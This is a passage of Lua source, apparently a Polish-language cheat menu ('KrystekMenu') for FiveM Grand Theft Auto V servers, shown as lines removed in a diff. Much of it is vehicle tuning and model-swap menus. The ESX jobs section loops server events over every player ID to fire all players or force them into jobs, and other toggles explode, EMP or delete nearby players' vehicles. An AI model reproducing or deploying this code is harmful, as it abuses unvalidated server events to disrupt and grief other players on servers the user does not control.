- if KrystekMenu.MenuButton(dE.name, dE.id) then
- end
- elseif dE.id == 'paint' then
- if KrystekMenu.MenuButton(dE.name, dE.id) then
- end
- elseif dE.id == 'wheeltypes' then
- if KrystekMenu.MenuButton(dE.name, dE.id) then
- end
- elseif dE.id == 'headlight' then
- if KrystekMenu.MenuButton(dE.name, dE.id) then
- end
- elseif dE.id == 'licence' then
- if KrystekMenu.MenuButton(dE.name, dE.id) then
- end
- else
- local az = checkValidVehicleMods(dE.id)
- for ci, dL in pairs(az) do
- if KrystekMenu.MenuButton(dE.name, dE.id) then
- end
- break
- end
- end
- end
- if IsToggleModOn(veh, 22) then
- xenonStatus = 'Zainstalowane'
- else
- xenonStatus = 'Nie Zainstalowane'
- end
- if KrystekMenu.Button('Xenon Headlight', xenonStatus) then
- if not IsToggleModOn(veh, 22) then
- ToggleVehicleMod(veh, 22, not IsToggleModOn(veh, 22))
- else
- ToggleVehicleMod(veh, 22, not IsToggleModOn(veh, 22))
- end
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('performance') then
- veh = GetVehiclePedIsUsing(PlayerPedId())
- for i, dE in pairs(bm) do
- if KrystekMenu.MenuButton(dE.name, dE.id) then
- end
- end
- if IsToggleModOn(veh, 18) then
- turboStatus = 'Zainstalowane'
- else
- turboStatus = 'Nie Zainstalowane'
- end
- if KrystekMenu.Button('~h~~b~Tuning ~h~Turbo', turboStatus) then
- if not IsToggleModOn(veh, 18) then
- ToggleVehicleMod(veh, 18, not IsToggleModOn(veh, 18))
- else
- ToggleVehicleMod(veh, 18, not IsToggleModOn(veh, 18))
- end
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('primary') then
- KrystekMenu.MenuButton('~h~~p~#~s~ Klasyczny', 'classic1')
- KrystekMenu.MenuButton('~h~~p~#~s~ Metaliczny', 'metallic1')
- KrystekMenu.MenuButton('~h~~p~#~s~ Matowy', 'matte1')
- KrystekMenu.MenuButton('~h~~p~#~s~ Metalowy', 'metal1')
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('secondary') then
- KrystekMenu.MenuButton('~h~~p~#~s~ Klasyczny', 'classic2')
- KrystekMenu.MenuButton('~h~~p~#~s~ Metaliczny', 'metallic2')
- KrystekMenu.MenuButton('~h~~p~#~s~ Matowy', 'matte2')
- KrystekMenu.MenuButton('~h~~p~#~s~ Metalowy', 'metal2')
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('rimpaint') then
- KrystekMenu.MenuButton('~h~~p~#~s~ Klasyczny', 'classic3')
- KrystekMenu.MenuButton('~h~~p~#~s~ Metaliczny', 'metallic3')
- KrystekMenu.MenuButton('~h~~p~#~s~ Matowy', 'matte3')
- KrystekMenu.MenuButton('~h~~p~#~s~ Metalowy', 'metal3')
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('classic1') then
- for dK, em in pairs(br) do
- tp, ts = GetVehicleColours(veh)
- if tp == em.id and not bg then
- pricetext = 'Zainstalowane'
- else
- if bg and tp == em.id then
- pricetext = 'Testowanie'
- else
- pricetext = 'Nie Zainstalowane'
- end
- end
- curprim, cursec = GetVehicleColours(veh)
- if KrystekMenu.Button(em.name, pricetext) then
- if not bg then
- bi = 'paint'
- bk = false
- oldprim, oldsec = GetVehicleColours(veh)
- oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
- bh = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour)
- SetVehicleColours(veh, em.id, oldsec)
- SetVehicleExtraColours(veh, em.id, oldwheelcolour)
- bg = true
- elseif bg and curprim == em.id then
- SetVehicleColours(veh, em.id, oldsec)
- SetVehicleExtraColours(veh, em.id, oldwheelcolour)
- bg = false
- bi = -1
- bh = -1
- elseif bg and curprim ~= em.id then
- SetVehicleColours(veh, em.id, oldsec)
- SetVehicleExtraColours(veh, em.id, oldwheelcolour)
- bg = true
- end
- end
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('metallic1') then
- for dK, em in pairs(br) do
- tp, ts = GetVehicleColours(veh)
- if tp == em.id and not bg then
- pricetext = 'Zainstalowane'
- else
- if bg and tp == em.id then
- pricetext = 'Testowanie'
- else
- pricetext = 'Nie Zainstalowane'
- end
- end
- curprim, cursec = GetVehicleColours(veh)
- if KrystekMenu.Button(em.name, pricetext) then
- if not bg then
- bi = 'paint'
- bk = false
- oldprim, oldsec = GetVehicleColours(veh)
- oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
- bh = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour)
- SetVehicleColours(veh, em.id, oldsec)
- SetVehicleExtraColours(veh, em.id, oldwheelcolour)
- bg = true
- elseif bg and curprim == em.id then
- SetVehicleColours(veh, em.id, oldsec)
- SetVehicleExtraColours(veh, em.id, oldwheelcolour)
- bg = false
- bi = -1
- bh = -1
- elseif bg and curprim ~= em.id then
- SetVehicleColours(veh, em.id, oldsec)
- SetVehicleExtraColours(veh, em.id, oldwheelcolour)
- bg = true
- end
- end
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('matte1') then
- for dK, em in pairs(bt) do
- tp, ts = GetVehicleColours(veh)
- if tp == em.id and not bg then
- pricetext = 'Zainstalowane'
- else
- if bg and tp == em.id then
- pricetext = 'Testowanie'
- else
- pricetext = 'Nie Zainstalowane'
- end
- end
- curprim, cursec = GetVehicleColours(veh)
- if KrystekMenu.Button(em.name, pricetext) then
- if not bg then
- bi = 'paint'
- bk = false
- oldprim, oldsec = GetVehicleColours(veh)
- oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
- SetVehicleExtraColours(veh, em.id, oldwheelcolour)
- bh = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour)
- SetVehicleColours(veh, em.id, oldsec)
- bg = true
- elseif bg and curprim == em.id then
- SetVehicleColours(veh, em.id, oldsec)
- SetVehicleExtraColours(veh, em.id, oldwheelcolour)
- bg = false
- bi = -1
- bh = -1
- elseif bg and curprim ~= em.id then
- SetVehicleColours(veh, em.id, oldsec)
- SetVehicleExtraColours(veh, em.id, oldwheelcolour)
- bg = true
- end
- end
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('metal1') then
- for dK, em in pairs(bu) do
- tp, ts = GetVehicleColours(veh)
- if tp == em.id and not bg then
- pricetext = 'Zainstalowane'
- else
- if bg and tp == em.id then
- pricetext = 'Testowanie'
- else
- pricetext = 'Nie Zainstalowane'
- end
- end
- curprim, cursec = GetVehicleColours(veh)
- if KrystekMenu.Button(em.name, pricetext) then
- if not bg then
- bi = 'paint'
- bk = false
- oldprim, oldsec = GetVehicleColours(veh)
- oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
- bh = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour)
- SetVehicleExtraColours(veh, em.id, oldwheelcolour)
- SetVehicleColours(veh, em.id, oldsec)
- bg = true
- elseif bg and curprim == em.id then
- SetVehicleColours(veh, em.id, oldsec)
- SetVehicleExtraColours(veh, em.id, oldwheelcolour)
- bg = false
- bi = -1
- bh = -1
- elseif bg and curprim ~= em.id then
- SetVehicleColours(veh, em.id, oldsec)
- SetVehicleExtraColours(veh, em.id, oldwheelcolour)
- bg = true
- end
- end
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('classic2') then
- for dK, em in pairs(br) do
- tp, ts = GetVehicleColours(veh)
- if ts == em.id and not bg then
- pricetext = 'Zainstalowane'
- else
- if bg and ts == em.id then
- pricetext = 'Testowanie'
- else
- pricetext = 'Nie Zainstalowane'
- end
- end
- curprim, cursec = GetVehicleColours(veh)
- if KrystekMenu.Button(em.name, pricetext) then
- if not bg then
- bi = 'paint'
- bk = false
- oldprim, oldsec = GetVehicleColours(veh)
- bh = table.pack(oldprim, oldsec)
- SetVehicleColours(veh, oldprim, em.id)
- bg = true
- elseif bg and cursec == em.id then
- SetVehicleColours(veh, oldprim, em.id)
- bg = false
- bi = -1
- bh = -1
- elseif bg and cursec ~= em.id then
- SetVehicleColours(veh, oldprim, em.id)
- bg = true
- end
- end
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('metallic2') then
- for dK, em in pairs(br) do
- tp, ts = GetVehicleColours(veh)
- if ts == em.id and not bg then
- pricetext = 'Zainstalowane'
- else
- if bg and ts == em.id then
- pricetext = 'Testowanie'
- else
- pricetext = 'Nie Zainstalowane'
- end
- end
- curprim, cursec = GetVehicleColours(veh)
- if KrystekMenu.Button(em.name, pricetext) then
- if not bg then
- bi = 'paint'
- bk = false
- oldprim, oldsec = GetVehicleColours(veh)
- bh = table.pack(oldprim, oldsec)
- SetVehicleColours(veh, oldprim, em.id)
- bg = true
- elseif bg and cursec == em.id then
- SetVehicleColours(veh, oldprim, em.id)
- bg = false
- bi = -1
- bh = -1
- elseif bg and cursec ~= em.id then
- SetVehicleColours(veh, oldprim, em.id)
- bg = true
- end
- end
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('matte2') then
- for dK, em in pairs(bt) do
- tp, ts = GetVehicleColours(veh)
- if ts == em.id and not bg then
- pricetext = 'Zainstalowane'
- else
- if bg and ts == em.id then
- pricetext = 'Testowanie'
- else
- pricetext = 'Nie Zainstalowane'
- end
- end
- curprim, cursec = GetVehicleColours(veh)
- if KrystekMenu.Button(em.name, pricetext) then
- if not bg then
- bi = 'paint'
- bk = false
- oldprim, oldsec = GetVehicleColours(veh)
- bh = table.pack(oldprim, oldsec)
- SetVehicleColours(veh, oldprim, em.id)
- bg = true
- elseif bg and cursec == em.id then
- SetVehicleColours(veh, oldprim, em.id)
- bg = false
- bi = -1
- bh = -1
- elseif bg and cursec ~= em.id then
- SetVehicleColours(veh, oldprim, em.id)
- bg = true
- end
- end
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('metal2') then
- for dK, em in pairs(bu) do
- tp, ts = GetVehicleColours(veh)
- if ts == em.id and not bg then
- pricetext = 'Zainstalowane'
- else
- if bg and ts == em.id then
- pricetext = 'Testowanie'
- else
- pricetext = 'Nie Zainstalowane'
- end
- end
- curprim, cursec = GetVehicleColours(veh)
- if KrystekMenu.Button(em.name, pricetext) then
- if not bg then
- bi = 'paint'
- bk = false
- oldprim, oldsec = GetVehicleColours(veh)
- bh = table.pack(oldprim, oldsec)
- SetVehicleColours(veh, oldprim, em.id)
- bg = true
- elseif bg and cursec == em.id then
- SetVehicleColours(veh, oldprim, em.id)
- bg = false
- bi = -1
- bh = -1
- elseif bg and cursec ~= em.id then
- SetVehicleColours(veh, oldprim, em.id)
- bg = true
- end
- end
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('classic3') then
- for dK, em in pairs(br) do
- _, ts = GetVehicleExtraColours(veh)
- if ts == em.id and not bg then
- pricetext = 'Zainstalowane'
- else
- if bg and ts == em.id then
- pricetext = 'Testowanie'
- else
- pricetext = 'Nie Zainstalowane'
- end
- end
- _, currims = GetVehicleExtraColours(veh)
- if KrystekMenu.Button(em.name, pricetext) then
- if not bg then
- bi = 'paint'
- bk = false
- oldprim, oldsec = GetVehicleColours(veh)
- oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
- bh = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour)
- SetVehicleExtraColours(veh, oldpearl, em.id)
- bg = true
- elseif bg and currims == em.id then
- SetVehicleExtraColours(veh, oldpearl, em.id)
- bg = false
- bi = -1
- bh = -1
- elseif bg and currims ~= em.id then
- SetVehicleExtraColours(veh, oldpearl, em.id)
- bg = true
- end
- end
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('metallic3') then
- for dK, em in pairs(br) do
- _, ts = GetVehicleExtraColours(veh)
- if ts == em.id and not bg then
- pricetext = 'Zainstalowane'
- else
- if bg and ts == em.id then
- pricetext = 'Testowanie'
- else
- pricetext = 'Nie Zainstalowane'
- end
- end
- _, currims = GetVehicleExtraColours(veh)
- if KrystekMenu.Button(em.name, pricetext) then
- if not bg then
- bi = 'paint'
- bk = false
- oldprim, oldsec = GetVehicleColours(veh)
- oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
- bh = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour)
- SetVehicleExtraColours(veh, oldpearl, em.id)
- bg = true
- elseif bg and currims == em.id then
- SetVehicleExtraColours(veh, oldpearl, em.id)
- bg = false
- bi = -1
- bh = -1
- elseif bg and currims ~= em.id then
- SetVehicleExtraColours(veh, oldpearl, em.id)
- bg = true
- end
- end
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('matte3') then
- for dK, em in pairs(bt) do
- _, ts = GetVehicleExtraColours(veh)
- if ts == em.id and not bg then
- pricetext = 'Zainstalowane'
- else
- if bg and ts == em.id then
- pricetext = 'Testowanie'
- else
- pricetext = 'Nie Zainstalowane'
- end
- end
- _, currims = GetVehicleExtraColours(veh)
- if KrystekMenu.Button(em.name, pricetext) then
- if not bg then
- bi = 'paint'
- bk = false
- oldprim, oldsec = GetVehicleColours(veh)
- oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
- bh = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour)
- SetVehicleExtraColours(veh, oldpearl, em.id)
- bg = true
- elseif bg and currims == em.id then
- SetVehicleExtraColours(veh, oldpearl, em.id)
- bg = false
- bi = -1
- bh = -1
- elseif bg and currims ~= em.id then
- SetVehicleExtraColours(veh, oldpearl, em.id)
- bg = true
- end
- end
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('metal3') then
- for dK, em in pairs(bu) do
- _, ts = GetVehicleExtraColours(veh)
- if ts == em.id and not bg then
- pricetext = 'Zainstalowane'
- else
- if bg and ts == em.id then
- pricetext = 'Testowanie'
- else
- pricetext = 'Nie Zainstalowane'
- end
- end
- _, currims = GetVehicleExtraColours(veh)
- if KrystekMenu.Button(em.name, pricetext) then
- if not bg then
- bi = 'paint'
- bk = false
- oldprim, oldsec = GetVehicleColours(veh)
- oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
- bh = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour)
- SetVehicleExtraColours(veh, oldpearl, em.id)
- bg = true
- elseif bg and currims == em.id then
- SetVehicleExtraColours(veh, oldpearl, em.id)
- bg = false
- bi = -1
- bh = -1
- elseif bg and currims ~= em.id then
- SetVehicleExtraColours(veh, oldpearl, em.id)
- bg = true
- end
- end
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('VehicleMenu') then
- if KrystekMenu.MenuButton('~h~~p~#~s~ ~h~~b~LSC ~s~Customs', 'LSC') then
- elseif KrystekMenu.MenuButton('~h~~p~#~s~ Boostuj ~g~Pojazd', 'BoostMenu') then
- elseif KrystekMenu.MenuButton('~h~~p~#~s~ Lista Pojazdow', 'CarTypes') then
- elseif KrystekMenu.MenuButton('~h~~p~#~s~ Globalne Trolle Pojazdow', 'GCT') then
- elseif KrystekMenu.MenuButton('~h~~p~#~s~ Zresp i Przyczep ~s~Przyczepe', 'MainTrailer') then
- elseif KrystekMenu.Button('~h~Zresp ~r~Markowy ~s~Samochod') then
- ca()
- elseif KrystekMenu.Button('~h~~r~Usun ~s~Pojazd') then
- DelVeh(GetVehiclePedIsUsing(PlayerPedId(-1)))
- elseif KrystekMenu.Button('~h~~g~Napraw ~s~Pojazd') then
- cc()
- elseif KrystekMenu.Button('~h~~g~Narpaw ~s~Silnik') then
- cd()
- elseif KrystekMenu.Button('~h~~g~Odwroc ~s~Pojazd') then
- daojosdinpatpemata()
- elseif KrystekMenu.Button('~h~~b~Max ~s~Tuning') then
- MaxOut(GetVehiclePedIsUsing(PlayerPedId(-1)))
- elseif KrystekMenu.Button("~h~~b~Max ~s~Tuning ~r~tylko osiagi") then
- engine(GetVehiclePedIsUsing(PlayerPedId(-1)))
- elseif KrystekMenu.Button('~h~~g~RC ~s~Autko') then
- ce()
- KrystekMenu.CloseMenu()
- elseif
- KrystekMenu.CheckBox(
- '~h~No Fall',
- Nofall,
- function(dR)
- Nofall = dR
- SetPedCanBeKnockedOffVehicle(PlayerPedId(-1), Nofall)
- end
- )
- then
- elseif
- KrystekMenu.CheckBox(
- '~h~Pojazdowy Godmode',
- VehGod,
- function(dR)
- VehGod = dR
- end
- )
- then
- elseif
- KrystekMenu.CheckBox(
- '~h~Speedboost ~g~SHIFT ~r~CTRL',
- VehSpeed,
- function(dR)
- VehSpeed = dR
- end
- )
- then
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('GCT') then
- if
- KrystekMenu.CheckBox(
- '~h~~r~EMP~s~ Pojazdy w Poblizu',
- destroyvehicles,
- function(dR)
- destroyvehicles = dR
- end
- )
- then
- elseif
- KrystekMenu.CheckBox(
- '~h~~r~Usun~s~ Wokol ciebie Pojazdy/Ludzi',
- deletenearestvehicle,
- function(dR)
- deletenearestvehicle = dR
- end
- )
- then
- elseif
- KrystekMenu.CheckBox(
- '~h~~r~Exploduj~s~ Pojazdy w Poblizu',
- explodevehicles,
- function(dR)
- explodevehicles = dR
- end
- )
- then
- elseif
- KrystekMenu.CheckBox(
- '~h~~p~Fuck~s~ Pojazdy w Poblizu',
- fuckallcars,
- function(dR)
- fuckallcars = dR
- end
- )
- then
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('LuaMenu') then
- if KrystekMenu.MenuButton('~h~~p~#~s~ ~r~ESX ~s~Boss', 'ESXBoss') then
- elseif KrystekMenu.MenuButton('~h~~p~#~s~ ~r~ESX ~s~Pieniadze', 'ESXMoney') then
- elseif KrystekMenu.MenuButton('~h~~p~#~s~ ~r~ESX ~s~Bankomat', 'ESXBankomat') then
- elseif KrystekMenu.MenuButton('~h~~p~#~s~ ~r~ESX ~s~Prace', 'ESXJobs') then
- elseif KrystekMenu.MenuButton('~h~~p~#~s~ ~r~ESX ~s~Rozne', 'ESXCustom') then
- elseif KrystekMenu.MenuButton('~h~~p~#~s~ ~r~ESX ~s~Dragi i Inne', 'ESXDrugs') then
- elseif KrystekMenu.MenuButton('~h~~p~#~s~ ~r~ESX ~s~Dzwieki', 'Dzwieki') then
- elseif KrystekMenu.MenuButton('~h~~p~#~s~ ~g~Zmiana Postaci', 'MODEL') then
- elseif KrystekMenu.MenuButton('~h~~p~#~s~ ~y~VRP ~s~Triggery', 'VRPTriggers') then
- elseif KrystekMenu.MenuButton('~h~~p~#~s~ ~b~Inne ~s~Triggery', 'MiscTriggers') then
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('Dzwieki') then
- if KrystekMenu.Button('~h~~g~Dzwiek ~y~zamykania auta') then
- TriggerServerEvent("InteractSound_SV:PlayWithinDistance", 103232, "lock", 1.0)
- elseif KrystekMenu.Button('~h~~g~Dzwiek ~y~otwierania auta') then
- TriggerServerEvent("InteractSound_SV:PlayWithinDistance", 103232, "unlock", 1.0)
- elseif KrystekMenu.Button('~h~~g~Dzwiek ~y~Kajdanek') then
- TriggerServerEvent('InteractSound_SV:PlayWithinDistance', 103232, 'handcuff', 1.0)
- TriggerServerEvent('InteractSound_SV:PlayWithinDistance', 103232, 'Cuff', 1.0)
- TriggerServerEvent('InteractSound_SV:PlayWithinDistance', 103232, 'cuffs', 1.0)
- TriggerServerEvent('InteractSound_SV:PlayWithinDistance', 103232, 'cuffseffect', 1.0)
- elseif KrystekMenu.Button('~h~~g~Dzwiek ~y~Pasow') then
- TriggerServerEvent('InteractSound_SV:PlayWithinDistance', 103232, 'pasysound', 1.0)
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('ESXJobs') then
- if KrystekMenu.Button('~h~Fire all players') then
- for ak = 0, 128 do
- TriggerServerEvent('NB:destituerplayer', GetPlayerServerId(ak))
- UnemployedPlayers()
- end
- elseif KrystekMenu.Button('~h~Ustaw wszystkich ~b~Police ~s~Job') then
- for ak = 0, 128 do
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(ak), 'police', 3)
- PolicePlayers()
- end
- elseif KrystekMenu.Button('~h~Ustaw wszystkich ~o~Mechanik ~s~Job') then
- for ak = 0, 128 do
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(ak), 'mecano', 3)
- MecanoPlayers()
- end
- elseif KrystekMenu.Button('~h~Ustaw wszystkich ~y~Taxi ~s~Job') then
- for ak = 0, 128 do
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(ak), 'taxi', 3)
- TaxiPlayers()
- end
- elseif KrystekMenu.Button('~h~Ustaw wszystkich ~r~Ambulance ~s~Job') then
- for ak = 0, 128 do
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(ak), 'ambulance', 3)
- AmbulancePlayers()
- end
- elseif KrystekMenu.Button('~h~Ustaw wszystkich ~g~Agent Nieruchomosci ~s~Job') then
- for ak = 0, 128 do
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(ak), 'realestateagent', 3)
- RealEstateAgentPlayers()
- end
- elseif KrystekMenu.Button('~h~Ustaw wszystkich ~r~Car ~b~Dealer ~s~Job') then
- for ak = 0, 128 do
- TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(ak), 'cardealer', 3)
- CarDealerPlayers()
- end
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened("MODEL") then
- if KrystekMenu.Button("~r~~h~Wpisywane") then
- local m = KeyboardInput('Wpisz nazwe peda', '', 100)
- RequestModel(GetHashKey(m))
- Wait(500)
- if HasModelLoaded(GetHashKey(m)) then
- SetPlayerModel(PlayerId(), GetHashKey(m))
- end
- elseif KrystekMenu.Button("~b~~h~Dzik") then
- local model = "a_c_boar"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~BigFoot") then
- local model = "ig_orleans"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Michael") then
- local model = "player_zero"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Trevor") then
- local model = "player_two"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Franklin") then
- local model = "player_one"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Retriever") then
- local model = "A_C_Retriever"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Chop") then
- local model = "a_c_chop"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Swinia") then
- local model = "A_C_Pig"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Jastrzab") then
- local model = "A_C_Chickenhawk"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Ryba") then
- local model = "A_C_Fish"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Rhesus") then
- local model = "A_C_Rhesus"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Shepard") then
- local model = "A_C_shepherd"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Golab") then
- local model = "A_C_Pigeon"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Szczur") then
- local model = "A_C_Rat"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Rotwajler") then
- local model = "A_C_Rottweiler"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Mewa") then
- local model = "A_C_Seagull"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Pasterz") then
- local model = "A_C_shepherd"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Rekin") then
- local model = "A_C_SharkTiger"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Husky") then
- local model = "A_C_Husky"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Puma") then
- local model = "A_C_MtLion"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Krowa") then
- local model = "A_C_Cow"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Kojot") then
- local model = "A_C_Coyote"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Kruk") then
- local model = "A_C_Crow"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~West") then
- local model = "a_c_westy"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Buldog Francuski") then
- local model = "a_c_pug"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Pudelek") then
- local model = "a_c_poodle"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Jelen") then
- local model = "A_C_Deer"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Klaun") then
- local model = "s_m_y_clown_01"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Fujara na wierzchu") then
- local model = "a_m_m_acult_01"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Zombie") then
- local model = "u_m_y_zombie_01"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Striptizerka") then
- local model = "s_f_y_stripper_01"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Indianin") then
- local model = "A_M_M_Indian_01"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Policjant") then
- local model = "s_m_y_cop_01"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Malpa") then
- local model = "a_c_chimp"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
